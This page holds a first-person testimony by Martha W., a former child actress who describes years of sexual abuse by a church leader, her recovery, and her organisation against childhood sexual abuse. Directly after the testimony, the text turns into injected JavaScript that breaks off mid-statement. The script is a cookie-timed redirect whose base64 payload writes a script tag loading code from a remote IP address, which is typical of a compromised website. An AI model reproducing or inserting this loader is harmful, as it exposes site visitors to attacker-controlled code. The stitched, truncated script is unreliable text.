039 – Martha W. (United States)

I grew up as a child actress. I excelled at taking directions—I was paid well for being a submissive, co(=)operative, obedient, little girl. Not only did this pave the way for a successful childhood acting career, but it also led me into the talons of a church leader/Sunday school teacher with insidious intentions. He molested me for over five years. However, along my journey of healing, I have chosen to no longer be a victim of my circumstances. I am a victor over them. I am no longer shackled to my perpetrator. I am free, because the truth has set me free. I chose not to say, “Why me?” I am a more mature and complete woman, because I have walked the path of brokenness and am confident that this path is the road to wholeness and true beauty. Out of brokenness comes the most radiant beauty. I believe I was allowed to walk this journey so that I can be part of the process of stopping childhood sexual abuse and empower survivors to begin the process of healing by telling my story. I am growing up as a victorious survivor. I am Martha W., founder of A Quarter Blue—Stopping Childhood Sexual Abuse. (For more information about the work of A Quarter Blue—Stopping Childhood Sexual Abuse go to www.aquarterblue.org) ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘